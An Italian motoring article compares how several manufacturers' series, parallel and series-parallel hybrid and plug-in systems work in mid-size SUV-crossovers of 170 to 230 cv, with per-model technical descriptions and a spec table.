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		<title>Analisi tecnica dei sistemi full hybrid e Plug in per SUV-Crossover da 170cv a 230cv</title>
		<link>https://www.giornalemotori.com/2024/09/05/analisi-tecnica-dei-sistemi-full-hybrid-e-plug-in-per-suv-crossover-da-170cv-a-230cv/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=analisi-tecnica-dei-sistemi-full-hybrid-e-plug-in-per-suv-crossover-da-170cv-a-230cv</link>
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		<dc:creator><![CDATA[Daniele Amore]]></dc:creator>
		<pubDate>Thu, 05 Sep 2024 15:46:29 +0000</pubDate>
				<category><![CDATA[Tecnica Auto]]></category>
		<category><![CDATA[Ultimi articoli]]></category>
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					<description><![CDATA[<p>Più volte abbiamo affrontato il confronto tra le varie tipologie di sistemi full hybrid e plug in o PHEV. In questa trattazione vogliamo confrontare in modo ancora più corposo le varie tipologie di sistema e le soluzioni adottate dai singoli costruttori. I sistemi ibridi sia autoricaricabili che a carica esterna si dividono in tre grandi [&#8230;]</p>
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										<content:encoded><![CDATA[
<p class="wp-block-paragraph">Più volte abbiamo affrontato il confronto tra le varie tipologie di sistemi full hybrid e plug in o PHEV. In questa trattazione vogliamo confrontare in modo ancora più corposo le varie tipologie di sistema e le soluzioni adottate dai singoli costruttori. I sistemi ibridi sia autoricaricabili che a carica esterna si dividono in tre grandi famiglie. </p>



<p class="wp-block-paragraph">Il numero di vetture oggetto del confronto è veramente ampio e rappresentano uno dei segmenti più affollati del mercato con SUV-Crossover di classe media con potenza che varia dai 170cv a 230cv. </p>



<figure class="wp-block-image size-large is-resized"><img decoding="async" width="1024" height="576" src="https://www.giornalemotori.com/wp-content/uploads//2024/09/maxresdefault-1024x576.jpg" alt="maxresdefault" class="wp-image-140355" style="width:1068px;height:auto" title="Analisi tecnica dei sistemi full hybrid e Plug in per SUV-Crossover da 170cv a 230cv 182" srcset="https://www.giornalemotori.com/wp-content/uploads/2024/09/maxresdefault-1024x576.jpg 1024w, https://www.giornalemotori.com/wp-content/uploads/2024/09/maxresdefault-768x432.jpg 768w, https://www.giornalemotori.com/wp-content/uploads/2024/09/maxresdefault-300x169.jpg 300w, https://www.giornalemotori.com/wp-content/uploads/2024/09/maxresdefault-696x392.jpg 696w, https://www.giornalemotori.com/wp-content/uploads/2024/09/maxresdefault-scaled.jpg 1200w" sizes="(max-width: 1024px) 100vw, 1024px" /><figcaption>Analisi tecnica dei sistemi full hybrid e Plug in per SUV-Crossover da 170cv a 230cv 195</figcaption></figure>



<h2 class="wp-block-heading"><strong>Sistemi Ibridi Seriali</strong></h2>



<p class="wp-block-paragraph">Il sistema ibrido seriale è il più semplice. La potenza alle ruote è fornita dal solo motore elettrico mentre il motore a combustione interna aziona un generatore per alimentare la batteria ad alta tensione che non può scendere mai sotto di una soglia minima con un funzionamento dell&#8217;auto simile in tutto e per tutto ad una auto elettrica. </p>



<p class="wp-block-paragraph">I vantaggi di un sistema ibrido in serie, sono nella flessibilità di realizzazione del gruppo motore-generatore e nel tipo di trasmissione semplificata con un mono-rapporto tipico delle auto elettrice. Anche l&#8217;unità di controllo per il funzionamento del sistema e semplificata mentre il motore endotermico non essendo collegato alle ruote, funziona liberamente dalla trazione sempre senza sforzo in modo più efficiente. </p>




<p class="wp-block-paragraph">Di contro, questo schema richiede sempre due unità elettriche, una di potenza ed un generatore. Inoltre il dimensionamento delle componenti, Motore endotermico, generatore, motore elettrico, inverter e batteria, oltre ad un elettronica di gestione ben tarata deve evitare la fastidiosa condizione di calo della potenza alle ruote che si verifica quando la batteria è al minimo e si chiede la massima potenza per un tempo prolungato</p>



<p class="wp-block-paragraph">Di seguito verrà analizzato come Honda, Mazda e Nissan hanno interpretato questo schema provando ad enfatizzare i pregi e cosa molto più interessante come i progettisti hanno provato a limitare i difetti.  </p>



<div class="wp-block-media-text is-stacked-on-mobile"><figure class="wp-block-media-text__media"><img decoding="async" width="640" height="480" src="https://www.giornalemotori.com/wp-content/uploads//2024/09/sddefault.jpg" alt="sddefault" class="wp-image-140357 size-full" title="Analisi tecnica dei sistemi full hybrid e Plug in per SUV-Crossover da 170cv a 230cv 183" srcset="https://www.giornalemotori.com/wp-content/uploads/2024/09/sddefault.jpg 640w, https://www.giornalemotori.com/wp-content/uploads/2024/09/sddefault-300x225.jpg 300w, https://www.giornalemotori.com/wp-content/uploads/2024/09/sddefault-265x198.jpg 265w" sizes="(max-width: 640px) 100vw, 640px" /></figure><div class="wp-block-media-text__content">
<p class="wp-block-paragraph"><strong>Sistema E:Hev Honda Serie e trasmissione </strong></p>
</div></div>



<h2 class="wp-block-heading"><strong>Honda ZR-V 2.0 e:HEV</strong></h2>



<p class="wp-block-paragraph">Il sistema Honda si compone di un motore benzina 2.0 litri i-Vtec aspirato a ciclo Atkinson, anche se più simile ad un ciclo Miller nel funzionamento, e due motori elettrici. Il motore elettrico principale fornisce la potenza di 184cv e 315Nm di coppia massima ed un generatore è collegato al motore endotermico fornendo energia alla batteria da 1.2kWh alimentata a 270v. La particolarità di questo sistema è che il generatore ha la potenza pari a quella del motore benzina assicurando una carica maggiore e più omogenea della batteria. La trasmissione è a rapporto unico, con una frizione multidisco a secco consente il collegamento diretto del motore benzina alle ruote per fornire trazione.</p>



<h2 class="wp-block-heading"><strong>Funzionamento seriale quasi puro </strong></h2>



<p class="wp-block-paragraph">La modalità che Honda chiama Engine Mode rende il sistema Honda differente diventando un Seriale quasi puro. Quando la vettura supera una certa velocità, Infatti, il motore endotermico viene collegato alle ruote in modo diretto a velocità costante. Se si richiede la massima prestazione, il controllo elettronico commuta il funzionamento collegando il motore elettrico alle ruote per fornire la potenza necessaria in pendenza o per raggiungere la velocità massima. </p>



<p class="wp-block-paragraph">Nel caso in cui venga chiesta una prestazione maggiore per più tempo, il generatore può inviare la potenza elettrica direttamente al motore elettrico principale attingendo ulteriore energia anche dalla batteria di trazione. In questa fase il motore benzina incrementa i suoi giri. Quando il motore endotermico si trova collegato alle ruote, la CPU consente al motore elettrico principale si fare da supporto al motore benzina per evitare di perdere la capacità di veleggiare anche quando cambia la pendenza o ripresa leggera, migliorando il consumo autostradale. </p>



<figure class="wp-block-image size-full"><img decoding="async" width="768" height="768" src="https://www.giornalemotori.com/wp-content/uploads//2024/09/2022_Mazda_MX-30R_Emotional_zoomin.jpg" alt="2022 Mazda MX 30R Emotional zoomin" class="wp-image-140358" title="Analisi tecnica dei sistemi full hybrid e Plug in per SUV-Crossover da 170cv a 230cv 184" srcset="https://www.giornalemotori.com/wp-content/uploads/2024/09/2022_Mazda_MX-30R_Emotional_zoomin.jpg 768w, https://www.giornalemotori.com/wp-content/uploads/2024/09/2022_Mazda_MX-30R_Emotional_zoomin-150x150.jpg 150w, https://www.giornalemotori.com/wp-content/uploads/2024/09/2022_Mazda_MX-30R_Emotional_zoomin-300x300.jpg 300w, https://www.giornalemotori.com/wp-content/uploads/2024/09/2022_Mazda_MX-30R_Emotional_zoomin-696x696.jpg 696w" sizes="(max-width: 768px) 100vw, 768px" /><figcaption class="wp-element-caption">Sistema Mazda MX-30 R-EV </figcaption></figure>



<h2 class="wp-block-heading"><strong>Mazda MX-30 R-EV Plug In PHEV-85</strong> &nbsp;</h2>



<p class="wp-block-paragraph">Il sistema Mazda è di tipo a carica esterna. Alla sigla PHEV viene aggiunta per facilitare il lettore un numero che indica la percorrenza in EV secondo il ciclo WLTP. Nel dettaglio il sistema Mazda può essere definito come un ibrido seriale puro range exstender. Si tratta di un&#8217;auto elettrica con batteria da 17,8kWh dalla percorrenza di 85km che possono essere estesi ad oltre 650km grazie al generatore collegato al motore endotermico. Il motore benzina è un singolo rotore tipo Wankel da 830 cm3 con doppia luce di alimentazione ed iniezione diretta di benzina per una potenza di soli 75cv a 4500giri/min collegato ad un generatore in grado di fornire potenza alla batteria da 355volts. Il motore elettrico, unica fonte di trazione di potenza, eroga 170cv per 270Nm di coppia.</p>



<h2 class="wp-block-heading"><strong>Un&#8217;auto elettrica con un generatore per aumentare l&#8217;efficienza </strong></h2>



<p class="wp-block-paragraph">La Mazda MX-30, se impostata sulla modalità di guida ibrida automatica accende il motore benzina a regime controllato per fornire carica alla batteria quando si raggiunge un livello minimo prefissato. Ad andatura elevata, per quando piccolo, il motore Wankel è costretto ad alimentare la batteria a regime piuttosto elevato. Inoltre la velocità massima è limitata a 145km/h per evitare di usare batteria troppo rapidamente. Il motore elettrico stesso non può avere troppa potenza rispetto alle rivali con soli 170cv perdendo qualche punto di efficienza per i lunghi viaggi adattandosi invece molto meglio della concorrenza per percorsi cittadini e medio extraurbani dove il motore benzina si accende con una minore frequenza e ad un regime più basso e controllato.</p>



<figure class="wp-block-image size-full"><img decoding="async" width="686" height="386" src="https://www.giornalemotori.com/wp-content/uploads//2024/09/hq720.jpg" alt="hq720" class="wp-image-140359" title="Analisi tecnica dei sistemi full hybrid e Plug in per SUV-Crossover da 170cv a 230cv 185" srcset="https://www.giornalemotori.com/wp-content/uploads/2024/09/hq720.jpg 686w, https://www.giornalemotori.com/wp-content/uploads/2024/09/hq720-300x169.jpg 300w" sizes="(max-width: 686px) 100vw, 686px" /><figcaption class="wp-element-caption">Sistema Nissan E-Power </figcaption></figure>



<h2 class="wp-block-heading"><strong>Nissan Qashqai e-Power 1.5litri 190cv</strong></h2>



<p class="wp-block-paragraph">Il sistema Nissan è seriale puro. L&#8217;unità endotermica è la più interessante del lotto di auto preso in esame. Si tratta di un piccolo gioiello della meccanica. Il VC-Turbo 1.5 litri tre cilindri è l&#8217;unico propulsore al mondo a funzionare realmente come un ciclo Atkinson. Il propulsore Nissan, infatti, usa una biella con un perno azionato elettro-meccanicamente che ne varia il passo. Questo propulsore a seconda della posizione della biella può funzionare con un rapporto di compressione variabile.</p>



<p class="wp-block-paragraph">Il piccolo turbo Nissan può funzionare con un rapporto di compressione è pari a 14:1 ad un regime controllato per sostenere la batteria in condizioni di medio basso carico della potenza. Quando si chiede prestazione o un elevata velocità, la biella cambia posizione assumendo un rapporto di compressione di 8:1 come un tradizionale turbo a tutti gli effetti per usare tutti i 158cv a 4500giri/min supportando la carica massima in batteria per gestire la richiesta di prestazione.</p>



<p class="wp-block-paragraph">Il motore elettrico che fornisce potenza alle ruote è il più potente tra i sistemi seriali con 190cv e 330Nm ed a differenza del sistema Honda rimane collegato alle ruote sempre anche ad alta velocità autostradale. Questo, però, costringe il motore benzina collegato al generatore a cambiare la sua configurazione. In condizione di veleggiamento, a velocità costante, funziona a rapporto di compressione elevato consumando poco, ma se aumenta la velocità funziona come un turbo tradizionale consumando come un motore benzina collegato alle ruote da 158cv. Quindi il consumo autostradale può essere più o meno basso rispetto al rivale Honda a seconda del passo e lo stile di guida adottato dal conducente. </p>



<h2 class="wp-block-heading"><strong>Sistemi Ibridi Paralleli</strong></h2>



<p class="wp-block-paragraph">Il sistema&nbsp;<strong>HEV o PHEV parallelo</strong>&nbsp; prevede che il motore a combustione e il motore elettrico sono collegati alla trasmissione. Quindi entrambi, secondo le loro caratteristiche di potenza e coppia forniscono potenza alle ruote variando la loro azione in funzione delle condizioni di guida e della richiesta di potenza.</p>



<p class="wp-block-paragraph">Le caratteristiche di potenza del motore elettrico nell&#8217;ibrido parallelo sono inferiori rispetto ad un qualsiasi sistema ibrido in serie lasciando al motore combustione interna la funzione principale. La potenza di sistema e di conseguenza le prestazioni sono fornite dal motore a combustione interna sommando in totale o in parzialmente la potenza elettrica disponibile. </p>



<figure class="wp-block-image size-full"><img decoding="async" width="455" height="256" src="https://www.giornalemotori.com/wp-content/uploads//2024/09/parallel-hybrid-powertrain.jpg" alt="parallel hybrid powertrain" class="wp-image-140361" title="Analisi tecnica dei sistemi full hybrid e Plug in per SUV-Crossover da 170cv a 230cv 186" srcset="https://www.giornalemotori.com/wp-content/uploads/2024/09/parallel-hybrid-powertrain.jpg 455w, https://www.giornalemotori.com/wp-content/uploads/2024/09/parallel-hybrid-powertrain-300x169.jpg 300w" sizes="(max-width: 455px) 100vw, 455px" /><figcaption class="wp-element-caption">Schema motore e trasmissione sistema ibrido Parallelo </figcaption></figure>



<p class="wp-block-paragraph">I vantaggi di un HEV parallelo sono nella sua facilità di adattamento a vetture tradizionali avendo due componenti di propulsione, facilmente progettabili e installabili su vetture nate a benzina o diesel. Il sistema nasce come prestazionale, ma queste dipendono dall&#8217;apporto del motore elettrico che a sua volta dipende dalla capacità ed il livello della batteria. Nelle condizioni di medio-basso carico, il funzionamento a potenza ridotta dei due propulsori consente di sfruttare al meglio la maggiore capacità della batteria dei sistemi PHEV. L&#8217; utilizzo intelligente dei KwH disponibili, con una ricarica costante nelle fasi passive, consente per un uso a medio carico di avere una capacità prolungata rispetto a quella iniziale. </p>



<p class="wp-block-paragraph">Inoltre, la guida di un sistema parallelo, per effetto della presenza di un cambio automatico tradizionale, spesso a doppia frizione, è praticamente uguale ad una tradizionale vettura benzina o diesel del passato, quindi a parte imparare tecniche di veleggiamento e guida predittiva che funzionano con ogni auto, non si deve fare altro evitando effetto scooter, e sound slegato tipico dei sistemi seriali o misti. </p>



<p class="wp-block-paragraph">Di contro c&#8217;è una complessità maggiore dell&#8217;unità di controllo del sistema. Questa deve gestire il flusso di potenza che deve essere miscelato dalle due fonti parallelo per salvaguardare il livello della batteria in funzione delle prestazioni richieste. Una gestione complessa soprattutto quando la potenza di sistema non è uguale alla somma algebrica delle due unità quando sovrappongono la coppia piuttosto che sfruttare il le due potenza con un erogazione a staffetta della parte elettrica e il benzina in allungo. Infine, a parte i coreani, tutti i costruttori utilizzano una batteria di alta capacità con carica esterna per gestire più facilmente l&#8217;efficienza complessiva.</p>



<p class="wp-block-paragraph">Detto per inciso, i sistemi ibridi di tipo parallelo adottano uno schema simile a quanto viene usato in F1. In sostanza questa tecnologia nasce per offrire un dato livello di potenza, con una riduzione di consumi proporzionale alla percentuale di potenza elettrica che viene usata per fornire il totale di sistema. Tornando alle monoposto della massima formula, oggi hanno power unit che erogano 1000cv pur avendo consumi pari alla vecchia generazione da 750cv, per effetto della presenza dell&#8217;unità elettrica che ne riduce il consumo.</p>



<figure class="wp-block-image size-full"><img decoding="async" width="972" height="608" src="https://www.giornalemotori.com/wp-content/uploads//2024/09/citroends5hybrid4.jpg" alt="citroends5hybrid4" class="wp-image-140362" title="Analisi tecnica dei sistemi full hybrid e Plug in per SUV-Crossover da 170cv a 230cv 187" srcset="https://www.giornalemotori.com/wp-content/uploads/2024/09/citroends5hybrid4.jpg 972w, https://www.giornalemotori.com/wp-content/uploads/2024/09/citroends5hybrid4-768x480.jpg 768w, https://www.giornalemotori.com/wp-content/uploads/2024/09/citroends5hybrid4-300x188.jpg 300w, https://www.giornalemotori.com/wp-content/uploads/2024/09/citroends5hybrid4-696x435.jpg 696w" sizes="(max-width: 972px) 100vw, 972px" /><figcaption class="wp-element-caption">Schema ibrido PHEV Stellantis </figcaption></figure>



<h2 class="wp-block-heading"><strong>Sistema usato dai costruttori europei e coreani </strong></h2>



<p class="wp-block-paragraph">Della variegata produzione che si avvale del sistema ibrido parallelo, sono pochi i costruttori che utilizzano tale come full hybrid senza carica batteria esterna. Inoltre, la differenza sostanziale sta nella percentuale di potenza elettrica che il sistema utilizza e la possibilità di avere un secondo motore elettrico per la ricarica come generatore. </p>



<figure class="wp-block-image size-full"><img decoding="async" width="939" height="505" src="https://www.giornalemotori.com/wp-content/uploads//2024/09/Hyundai-ERS.jpg" alt="Hyundai ERS" class="wp-image-140370" title="Analisi tecnica dei sistemi full hybrid e Plug in per SUV-Crossover da 170cv a 230cv 188" srcset="https://www.giornalemotori.com/wp-content/uploads/2024/09/Hyundai-ERS.jpg 939w, https://www.giornalemotori.com/wp-content/uploads/2024/09/Hyundai-ERS-768x413.jpg 768w, https://www.giornalemotori.com/wp-content/uploads/2024/09/Hyundai-ERS-300x161.jpg 300w, https://www.giornalemotori.com/wp-content/uploads/2024/09/Hyundai-ERS-696x374.jpg 696w" sizes="(max-width: 939px) 100vw, 939px" /><figcaption>Analisi tecnica dei sistemi full hybrid e Plug in per SUV-Crossover da 170cv a 230cv 196</figcaption></figure>



<p class="wp-block-paragraph">Infine ci sono poche eccezioni che sfruttano un sistema parallelo adattandolo alla trazione integrale con schema ibrido P4. In questo caso il motore elettrico si trova sull’asse posteriore, mentre l’endotermico rimane sull’assale anteriore con un generatore. Questo schema garantisce sempre una trazione ottimale facendo a meno degli organi meccanici di trasmissione. Avere un motore che spinge per ogni asse garantisce prestazioni migliori ma la necessità di avere sempre energia per la gestione continuativa della trazione integrale limita l&#8217;efficienza in termini di consumo. Il motore benzina infatti resta acceso con una frequenza maggiore rispetto agli altri sistemi. </p>



<p class="wp-block-paragraph">Il vero limite di un sistema ibrido parallelo, sta proprio nella difficoltà da parte di molti automobilisti di tenere una carica minima in batteria costante. Molti dei sistemi presi in esame consentono di bloccare lo sfruttamento della batteria passando al funzionamento in ibrido automatico. Conservare almeno il 20% di batteria sempre, consente di avere il motore elettrico un grado di fornire potenza senza cali ed un funzionamento di tipo full hybrid mentre si ricarica nelle fasi passive molto più efficace. A batteria scarica, per quanto sua potente un motore elettrico potrebbe dare una mano come farebbe un sistema Mild Hybrid. Al guidatore di questo tipo di sistemi è richiesto di adottare uno stile ed di utilizzare le funzioni dell&#8217;auto come fanno i piloti in F1. </p>



<figure class="wp-block-image size-full"><img decoding="async" width="537" height="557" src="https://www.giornalemotori.com/wp-content/uploads//2024/09/jeep-4xe-hybrid-propulsion-architecture.png" alt="jeep 4xe hybrid propulsion architecture" class="wp-image-140363" title="Analisi tecnica dei sistemi full hybrid e Plug in per SUV-Crossover da 170cv a 230cv 189" srcset="https://www.giornalemotori.com/wp-content/uploads/2024/09/jeep-4xe-hybrid-propulsion-architecture.png 537w, https://www.giornalemotori.com/wp-content/uploads/2024/09/jeep-4xe-hybrid-propulsion-architecture-300x311.png 300w" sizes="(max-width: 537px) 100vw, 537px" /><figcaption>Analisi tecnica dei sistemi full hybrid e Plug in per SUV-Crossover da 170cv a 230cv 197</figcaption></figure>



<p class="wp-block-paragraph">Detto questo, siccome lo schema meccanico è molto simile tra i vari costruttori europei e coreani, di seguito sono state inserite, in una sola tabella, le concorrenti per consentire al lettore di verificare i livelli di potenza delle due unità motrici e come interagiscono tra di loro in base ai risultati prestazionali e di consumi.</p>



<h2 class="wp-block-heading"><strong>Tabella riassuntiva sistemi ibridi paralleli </strong></h2>



<figure class="wp-block-table"><table class="has-fixed-layout"><tbody><tr><td>Modello</td><td>ICE/CV</td><td>P.E</td><td>P.Sist</td><td>C.Sist</td><td>Acc</td><td>V.Max</td><td>Cons.</td></tr><tr><td>Cupra Formentor PHEV-52</td><td>150cv</td><td>116cv</td><td>204cv</td><td>350Nm</td><td>7,5s</td><td>205</td><td>4,95</td></tr><tr><td>Hyundai Tucson HEV</td><td>160cv</td><td>65cv</td><td>215cv</td><td>385Nm</td><td>8,2s</td><td>185</td><td>5,45</td></tr><tr><td>Jeep Compass 4xe – P4 PHEV-4</td><td>130Cv</td><td>61CV</td><td>190Cv</td><td><strong>470Nm</strong></td><td>7,9s</td><td>185</td><td>5,15</td></tr><tr><td>Kia Sportage HEV</td><td>180cv</td><td>60cv</td><td><strong>230Cv</strong></td><td>350Nm</td><td>8,3s</td><td>185</td><td>5,25</td></tr><tr><td>Mercedes GLA PHEV-60</td><td>160Cv</td><td>102cv</td><td>218Cv</td><td>450Nm</td><td>7,1s</td><td>220</td><td>5,1</td></tr><tr><td>Mini Countryman SE PHEV-51 P4</td><td>136Cv</td><td>88Cv</td><td>224Cv</td><td>385Nm</td><td><strong>6,8s</strong></td><td>195</td><td>5,25</td></tr><tr><td>Opel Grandland 225cv PHEV -55</td><td><strong>180cv</strong></td><td>110cv</td><td>224Cv</td><td>360Nm</td><td>7,9s</td><td><strong>225</strong></td><td><strong>4,5</strong></td></tr><tr><td>Peugeot 3008 180cv PHEV-</td><td>150Cv</td><td>110Cv</td><td>180Cv</td><td>360Nm</td><td>8,8s</td><td>215</td><td>4,1</td></tr></tbody></table><figcaption class="wp-element-caption"><em>ICE-Motore endotermico &#8211; La tabella consumi è rilevata dal percorso Roma-Forlì da parte dei colleghi di Motor1</em></figcaption></figure>



<p class="wp-block-paragraph">Analizzando la tabella si nota come i soli costruttore che prevede lo schema parallelo con senza la carica esterna è la coppia coreana Hyundai/Kia con un erogazione lineare tipo a staffetta, prima spinge in elettrico per poi lasciare al motore turbo benzina l’allungo. Negli altri casi, la potenza elettrica agisce sempre per prima ma si sovrappone a quella derivante dal motore benzina e con l&#8217;aggiunta di un secondo generatore assicura un funzionamento più efficiente. Infine, le due varianti di Mini/BMW e Jeep 4xe adottano un sistema parallelo di tipo P4.  Nel caso di Jeep e Mini le due potenze degli attori in gioco sono diverse per una diversa scelta del costruttore di enfatizzare la potenza assoluta o l&#8217;efficienza.</p>



<h2 class="wp-block-heading"></h2>



<figure class="wp-block-image size-full"><img decoding="async" width="908" height="884" src="https://www.giornalemotori.com/wp-content/uploads//2024/09/Series-Parallel-hybrid-powertrain.png" alt="Series Parallel hybrid powertrain" class="wp-image-140364" title="Analisi tecnica dei sistemi full hybrid e Plug in per SUV-Crossover da 170cv a 230cv 190" srcset="https://www.giornalemotori.com/wp-content/uploads/2024/09/Series-Parallel-hybrid-powertrain.png 908w, https://www.giornalemotori.com/wp-content/uploads/2024/09/Series-Parallel-hybrid-powertrain-768x748.png 768w, https://www.giornalemotori.com/wp-content/uploads/2024/09/Series-Parallel-hybrid-powertrain-300x292.png 300w, https://www.giornalemotori.com/wp-content/uploads/2024/09/Series-Parallel-hybrid-powertrain-696x678.png 696w" sizes="(max-width: 908px) 100vw, 908px" /><figcaption>Analisi tecnica dei sistemi full hybrid e Plug in per SUV-Crossover da 170cv a 230cv 198</figcaption></figure>



<h2 class="wp-block-heading"><strong>Sistemi Misti Parallelo-Serie</strong></h2>



<p class="wp-block-paragraph">Nei sistemi misto<strong> serie-parallelo</strong> il motore endotermico ha una doppia finzione. Questo viene utilizzato sia collegato al generatore per caricare la batteria e fornire potenza alle ruote. Questo schema prevede un dispositivo di controllo che distribuisce la potenza del motore benzina alle ruote e al generatore elettrico a seconda delle condizioni di guida. Il motore elettrico può fornire potenza in solitaria come un seriale o in combinazione come in un sistema parallelo.</p>



<p class="wp-block-paragraph">Il vantaggio sta nel fatto che il driver può decidere, sia con l&#8217;azione sul gas che con le varie modalità di guida di far funzionare il sistema nel modo più efficiente, conservando la possibilità di avere potenza costante e continua senza cali. L&#8217; unità di controllo, infatti, regola il flusso di potenza utilizzando i segnali provenienti dall&#8217;acceleratore e dai vari sensori del sistema. </p>



<p class="wp-block-paragraph">Di contro il motore benzina dovendo fare due operazioni, fornire potenza e azionare il generatore è soggetto ad uno sforzo maggiore che determina delle perdite di efficienza influenzando i consumi. Di solito la potenza delle due unità è molto vicina e tornando al discorso legato alla Formula 1, nel prossimo futuro, quando ci sarà il nuovo aggiornamento per le power unit del 2026, lo schema di funzionamento adottato abbandonerà quasi totalmente quello parallelo per sportarsi verso un tipo di sistema misto.</p>



<p class="wp-block-paragraph"> Anche nella massima formula si vuole ottenere un funzionamento più bilanciato tra le due componenti endotermiche ed elettrica. I sistemi misti quando dotati di batteria di maggiore capacità PHEV possono funzionare in modo efficiente anche con batteria scarica superando uno dei talloni di Achille dei sistemi parallelo soprattutto in autostrada per le lunghe distanze.  </p>



<figure class="wp-block-image size-full"><img decoding="async" width="300" height="168" src="https://www.giornalemotori.com/wp-content/uploads//2024/09/images.jpeg" alt="images" class="wp-image-140365" title="Analisi tecnica dei sistemi full hybrid e Plug in per SUV-Crossover da 170cv a 230cv 191"><figcaption class="wp-element-caption">Sistema ibrido PHEV serie-parallelo Mitsubishi Eclipse </figcaption></figure>



<h2 class="wp-block-heading"><strong>Mitsubishi Eclipse Cross 190cv PHEV-50</strong></h2>



<p class="wp-block-paragraph">Il sistema usato da Mitsubishi sulla Eclipse Cross, è la sintesi dell&#8217;equilibrio tra le componenti endotermica ed elettrica con batteria a carica sterna PHEV. Il motore benzina è un 2.4 litri, quattro cilindri da 82cv ciclo Atkinson collegato ad un generatore di potenza ed un inverter. La potenza molto bassa meno di 50cv/litro consente di avere un consumo contenuto soprattutto limitando le perdite quando funge da generatore durante il funzionamento seriale. La parte elettrica è composta da due motori di potenza, uno per asse da 98cv per gestire anche la trazione integrale con schema congiunto P3 all&#8217;avantreno e P4 con motore separato sull&#8217;asse posteriore per gestire la trazione integrale. La potenza di sistema è pari a 190cv con 290Nm di coppia. La trasmissione è di tipica delle auto elettrica a rapporto unico a simulare un funzionamento CVT.</p>



<p class="wp-block-paragraph"> Il funzionamento dell&#8217;auto avviene come un auto elettrica con un generatore per tenere la carica della batteria dalle grosse dimensioni in funzione dell&#8217;esigenza di potenza. Richiedendo la massima prestazione le due unità motrici forniscono entrambi potenza alle ruote in modo costante e senza pause. La prestazione assoluta viene limitata dal peso rilevante della vettura. Il consumo è piuttosto basso, per il fatto che a batteria scarica, il sistema Mitsubishi continua a funzionare in modo efficiente come un full ibrido seriale mentre ricarica la batteria con il generatore. Nelle condizioni di off road dove serve la massima coppia, tutti i tre propulsori, più il generatore funzionano al loro massimo potenziale per consentire di gestire le condizioni di marcia critiche. </p>



<figure class="wp-block-image size-full"><img decoding="async" width="375" height="375" src="https://www.giornalemotori.com/wp-content/uploads//2024/09/656d5e70ee.jpg" alt="656d5e70ee" class="wp-image-140366" title="Analisi tecnica dei sistemi full hybrid e Plug in per SUV-Crossover da 170cv a 230cv 192" srcset="https://www.giornalemotori.com/wp-content/uploads/2024/09/656d5e70ee.jpg 375w, https://www.giornalemotori.com/wp-content/uploads/2024/09/656d5e70ee-150x150.jpg 150w, https://www.giornalemotori.com/wp-content/uploads/2024/09/656d5e70ee-300x300.jpg 300w" sizes="(max-width: 375px) 100vw, 375px" /><figcaption class="wp-element-caption">Schema sistema full hybrid e-Tech Renaut </figcaption></figure>



<h2 class="wp-block-heading"><strong>Renautl Austral e-Tech 200cv</strong></h2>



<p class="wp-block-paragraph">Il sistema messo appunto dai francesi è un piccolo gioiello della tecnica. La parte endotermica è affidata ad un 1.2 litri tre cilindri turbo, che a differenza del sistema Nissan, funziona in modo tradizionale erogando 131cv e 205Nm di coppia. Il motore elettrico è decisamente più piccolo rispetto al sistema misto di Toyota p Mitsubishi con una potenza di 68cv e 202Nm di coppia per una potenza si sistema pari a 200cv e 300Nm di coppia.</p>



<p class="wp-block-paragraph">&nbsp;Fiore all’occhiello, e vero protagonista del sistema, è la trasmissione multi-mode a denti dritti. La soluzione scelta da Renault prevede quattro rapporti che si inseriscono senza sincronizzatore. Il compito di sincronizzare gli alberi del cambio spetta al generatore che, oltre a caricare la batteria con il motore benzina staccato dalle ruote deve gestisce anche la sincronizzazione delle cambiate.</p>



<figure class="wp-block-image size-full"><img decoding="async" width="1025" height="614" src="https://www.giornalemotori.com/wp-content/uploads//2024/09/Fig_2.jpg" alt="Fig 2" class="wp-image-140367" title="Analisi tecnica dei sistemi full hybrid e Plug in per SUV-Crossover da 170cv a 230cv 193" srcset="https://www.giornalemotori.com/wp-content/uploads/2024/09/Fig_2.jpg 1025w, https://www.giornalemotori.com/wp-content/uploads/2024/09/Fig_2-768x460.jpg 768w, https://www.giornalemotori.com/wp-content/uploads/2024/09/Fig_2-300x180.jpg 300w, https://www.giornalemotori.com/wp-content/uploads/2024/09/Fig_2-696x417.jpg 696w" sizes="(max-width: 1025px) 100vw, 1025px" /><figcaption class="wp-element-caption">Trasmissione multimode sistema e-Tech Renault </figcaption></figure>



<h2 class="wp-block-heading"><strong>Trasmissione muiltimode a denti dritti, una soluzione tecnica unica</strong>  </h2>



<p class="wp-block-paragraph">Lo stesso generatore  fornisce anche un boost di spinta per compensare la poca coppia in allungo del motore benzina quando funziona in parallelo. Il motore elettrico, pur essendo di piccole dimensioni riesce ad gestire la sua potenza e coppia su un arco molto più ampio grazie alla presenza della trasmissione di sue marce dedicate. Queste, combinate con le quattro marce riservare al motore benzina offrono una moltitudine di rapporti che consentono una gestione migliore della curva di potenza.</p>



<p class="wp-block-paragraph">Grazie alla gestione della CPU il sistema Renault consente percentuali di marcia fino 70% in elettrico. Il punto debole purtroppo è rappresentato dallo scarso allungo che il piccolo motore turbo riesce a garantire quando smette di spingere l’elettrico. Un sistema efficiente, ma a differenza del sistema Toyota, lo sbilancio delle due unità mostra qualche limite in termini di potenza come un sistema parallelo con batteria scarica. </p>



<h2 class="wp-block-heading"><strong>Toyota Corolla Cross HEV 2.0 litri 197cv</strong></h2>



<p class="wp-block-paragraph">Il sistema Toyota rappresenta il bilanciamento quasi perfetto tra le due propulsioni elettrica e benzina. La quinta generazione utilizza un 2.0 litri quattro cilindri eroga 152cv e 190Nm abbinato ad un motore elettrico 154Cv e 290Nm per una potenza di sistema pari a 199cv e 255Nm. La potenza è sostanzialmente sovrapposta per tutto l’arco di erogazione lasciando all’azione del motore elettrico la spinta iniziale mentre al motore benzina spetta un leggero allungo finale, ma sovrapponendosi in tutte le fasi intermedie. La carica della batteria avviene come nei sistemi seriali con un generatore collegato al motore benzina.</p>



<p class="wp-block-paragraph">Quando si parla di Toyota è inevitabile parlare di effetto scooter. In effetti per come è concepita la trasmissione epicicloidale a rapporto unico, molto simile ad una trasmissione per auto elettriche, l’effetto slittamento appare tecnicamente necessaria ed inevitabile per consentire di caricare prima la batteria che deve fornire energia per la spinta del motore elettrico.</p>



<p class="wp-block-paragraph">La quinta generazione consente al motore elettrico di avere un’azione diretta sulla trasmissione consentendo di ridurre di molto questo effetto. La spinta sembra più rapida come nel sistema Honda ed il motore benzina sembra meno slegato simile all&#8217;erogazione del sistema Nissan. In sostanza il Toyota prende il meglio del mondo seriale e parallelo, lasciando i difetti nel cassetto, a patto di sopportare un piccolo effetto scooter funzionale allo scopo.</p>



